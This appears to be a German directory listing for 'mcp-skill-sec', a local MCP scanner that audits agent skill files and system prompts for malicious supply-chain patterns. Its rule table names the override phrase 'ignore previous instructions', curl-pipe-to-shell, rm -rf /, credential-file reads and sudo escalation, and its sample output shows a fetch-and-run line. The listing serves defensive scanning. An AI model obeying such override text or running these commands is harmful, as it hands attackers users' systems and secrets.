Skip to main content
Glama
sudo-ai-git

mcp-skill-sec

mcp-skill-sec

Ein Model-Context-Protocol-Server (MCP-Server), der jede Art von Agent-Skill, Systemprompt oder heruntergeladener Dateisammlung gegen die 8 Muster bösartiger Skill-Lieferketten prüft.

Deterministisch, ohne LLM, ohne Netzwerkaufrufe — ein selbst hostbarer Vorinstallations-Scanner, der mit Claude Code, Cursor, Copilot, OpenClaw, Codex CLI und jedem MCP-kompatiblen Agenten funktioniert.

Wonach es scannt (Regeln R1–R8)

Regel

Muster

R1

Prompt-Injection / Anweisungs-Hijacking (ignore previous instructions, Geheimhaltungsanweisungen, Identitätsüberschreibungen)

R2

Datenexfiltrations-Absicht (Inhalte an eine URL senden/postieren/mailen, Log-Diebstahl)

R3

Hartkodierte Geheimnisse / Zugangsdaten (API-Schlüssel, PATs, private Schlüssel, Verbindungszeichenfolgen)

R4

Gefährliche Befehle (rm -rf /, curl | sh, Fork-Bomben, Schreibzugriffe auf Raw-Geräte)

R5

Verschleierung / verstecktes Verhalten (base64-exec, eval/exec, Nullbreitenzeichen)

R6

Nicht vertrauenswürdige externe Abrufe (fetch-and-run, Nicht-PyPI-Installationen)

R7

Zugriff auf Zugangsdaten (Lesen von ~/.ssh, .aws/credentials, .env)

R8

Privilegienausweitung (sudo -s, setuid, Hinzufügen zur sudo-Gruppe)

Jeder Befund enthält eine severity-Einstufung (critical/high/medium/low), eine Zeilennummer und die zugehörige Beweiszeile. Das Gesamturteil ist nur dann PASS, wenn es keine critical/high-Befunde gibt und jeder medium-Befund harmlos ist.

Related MCP server: tar-engine

Werkzeuge

  • audit_text(text, filename) — prüft einen String (einen Skill, der dir eingefügt wurde, einen Systemprompt, den du nicht geschrieben hast).

  • audit_skill_file(path) — prüft eine SKILL.md / AGENTS.md / CLAUDE.md auf der Festplatte; liefert Beweiszeilen mit Zeilennummern.

  • audit_directory(path, pattern) — prüft eine gesamte heruntergeladene Skills-Sammlung; liefert Urteile pro Datei + eine Zusammenfassung.

  • rule_list() — gibt den Regelkatalog aus.

Installation & Ausführung

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / Agent-Konfiguration

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Beispiel

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Lizenz & Herkunft

MIT. Geschrieben von sudo-ai-git. Dies ist ein eigenständiges Sicherheits-/Verifizierungswerkzeug; es enthält keine proprietäre Methode. Es ist die MCP-Umsetzung des skill-sec-Agent-Skills (gleiche Regeln, als Server statt als Skill aufrufbar).

Offizielle MCP-Registry-Metadaten

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Static security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.
    15
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Audits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.
    2
    Apache 2.0
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    Provides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.
    99 npm
    MIT